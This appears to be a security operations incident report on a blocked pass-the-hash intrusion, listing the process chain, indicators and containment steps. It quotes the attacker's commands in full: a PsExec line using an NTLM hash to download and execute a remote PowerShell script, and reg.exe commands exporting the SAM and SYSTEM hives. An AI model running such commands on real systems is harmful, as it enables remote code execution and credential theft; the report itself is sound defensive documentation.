Incident Report 2025-11-11

Title:
Pass-the-Hash via PsExec with attempted credential dumping on SRV-APPS01

Date:
2025-10-24

Alert Type/Category:
Pass-the-Hash via PsExec; Attempted Credential Dumping

Severity:
High

Analyst Name:

Case #:
ALRT-2025-10-24-WKSTN-23-SRV-APPS01

DETECTION AND ANALYSIS

Alert Summary:

Multi-source Correlation Engine detected a pass-the-hash operation initiated from WKSTN-23 by user ola.hansen targeting SRV-APPS01, resulting in remote PowerShell execution as NT AUTHORITY\SYSTEM and an attempted credential dump that was blocked. Pass-the-hash abuses NTLM hashes to authenticate and execute code remotely without knowing the plaintext password, commonly used for lateral movement and privilege escalation. On WKSTN-23, the user launched PowerShell and executed PsExec with the svc_deploy account's NTLM hash to run a remote PowerShell that fetched and executed a script from http://192.168.45.199/payloads/run.txt; on SRV-APPS01 this created the PSEXESVC service, launched PowerShell, established an outbound connection to odd-lilac-weasel.zone:4444 (a port often used for reverse shells), and attempted to dump the SAM and SYSTEM hives to C:\Windows\Temp, which was blocked as the EDR terminated the process and cut the TCP session.

```
psexec.exe \\SRV-APPS01 -u SILVERLINE\svc_deploy -hashes 9f1c2a4d7e8b0c3f5a6d1e2b4c7a8f01
-s powershell.exe -c "(New-Object
System.Net.WebClient).DownloadString('http://192.168.45.199/payloads/run.txt') | IEX"
```

Executes PowerShell as SYSTEM on SRV-APPS01 using an NTLM hash to download and run a script from 192.168.45.199.

```
cmd.exe /c reg.exe save HKLM\SAM C:\Windows\Temp\SAM.bak /y & reg.exe save HKLM\SYSTEM
C:\Windows\Temp\SYSTEM.bak /y
```

Attempts to export the SAM and SYSTEM registry hives for credential extraction.
We recommend that you investigate this activity further, as the activity appears to be active lateral

movement and credential access.

References:

1 - https://www.praetorian.com/blog/how-to-detect-and-dump-credentials-from-the-windows-registry/

Key Details:

Timeframe: 2025-10-24T10:15:03+02:00 to 2025-10-24T10:16:28+02:00
Hosts:
- WKSTN-23
- SRV-APPS01
User: ola.hansen
Service Account: SILVERLINE\svc_deploy
Local System Context: NT AUTHORITY\SYSTEM (on SRV-APPS01)
Process Chain:
- WKSTN-23: explorer.exe -> powershell.exe (6160) -> psexec.exe (6340)
- SRV-APPS01: services.exe -> PSEXESVC.exe (748) -> powershell.exe (8020) -> cmd.exe (8132)
Service/Executable: C:\Windows\PSEXESVC.exe
Command Executed (PsExec): psexec.exe \SRV-APPS01 -u SILVERLINE\svc_deploy -hashes 9f1c2a4d7e8b0c3f5a6d1e2b4c7a8f01 -s powershell.exe -c "(New-Object System.Net.WebClient).DownloadString('http://192.168.45.199/payloads/run.txt') | IEX"
Command Executed (Reg Save): cmd.exe /c reg.exe save HKLM\SAM C:\Windows\Temp\SAM.bak /y & reg.exe save HKLM\SYSTEM C:\Windows\Temp\SYSTEM.bak /y
URL: http://192.168.45.199/payloads/run.txt
Domain: odd-lilac-weasel.zone
Source IP (SRV-APPS01): 10.0.12.37
Destination Port: 4444
Outbound Connection: 10.0.12.37:49822 -> odd-lilac-weasel.zone:4444
Binary Paths:
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
- C:\Users\ola.hansen\Downloads\PsExec.exe
File Hash (powershell.exe, SHA256): 8f7ce2f0d1f4e0a6a9a3a6c1c4ed2a6d98c3a21d6e0f4e1a9b2c3d4e5f6a7b8c
Action Result: PowerShell terminated; SAM/SYSTEM dump blocked; TCP session terminated

Consequence:

The activity indicates successful remote code execution on SRV-APPS01 using pass-the-hash and an attempted credential dump of the SAM and SYSTEM hives, which could enable offline extraction of local account hashes for further compromise. The outbound connection to odd-lilac-weasel.zone:4444 suggests an attempted or short-lived reverse shell that could provide command-and-control access. While the credential dump was blocked and the process terminated, SRV-APPS01 should be considered potentially compromised, with risk of lateral movement, privilege escalation, and broader environment exposure if additional payloads or persistence were established.

CONTAINMENT

Executed Remediation Actions:

The following containment and eradication actions has been performed by our SOC:
- Isolated SRV-APPS01 from the network to prevent further lateral movement and C2 activity.
- Verified EDR automatically terminated the malicious PowerShell process and blocked the registry hive dump; confirmed termination of the TCP session to odd-lilac-weasel.zone:4444.
- Stopped and removed the PSEXESVC service on SRV-APPS01; quarantined any PsExec artifacts found.
- Temporarily disabled the SILVERLINE\svc_deploy account pending credential reset to prevent reuse of the compromised hash.
- Initiated a forced password reset for the user account ola.hansen.
- Blocked outbound access to odd-lilac-weasel.zone and TCP port 4444 at network egress controls.
- Searched the environment for additional PsExec usage and connections to odd-lilac-weasel.zone during the same timeframe; no additional matches found at this time.
- Initiated review of recent NTLM authentication activity (4624/4648/4672) for unusual logons associated with svc_deploy and SRV-APPS01.

Recommended Remediation Actions:

Our SOC recommends that you do the following containment actions:
- Reimage SRV-APPS01 from a known-good backup and validate integrity before returning it to the network.
- Reset credentials for SILVERLINE\svc_deploy, ola.hansen, and any accounts that authenticated to or from SRV-APPS01 during the incident; rotate local administrator passwords using LAPS.
- Isolate and forensically triage WKSTN-23; remove PsExec and any unauthorized tools; perform a full malware scan.
- Confirm removal of PSEXESVC and any downloaded payloads; verify that C:\Windows\Temp\SAM.bak and SYSTEM.bak do not exist.
- Maintain the block on odd-lilac-weasel.zone and restrict outbound traffic on high-risk ports (including 4444) at the perimeter.
- Reduce or block NTLM where feasible and enforce Kerberos; restrict remote service creation and PsExec-like tools via GPO/EDR policy.
- Identify and remediate the internal host at 192.168.45.199 if present; isolate and investigate for hosting malicious content.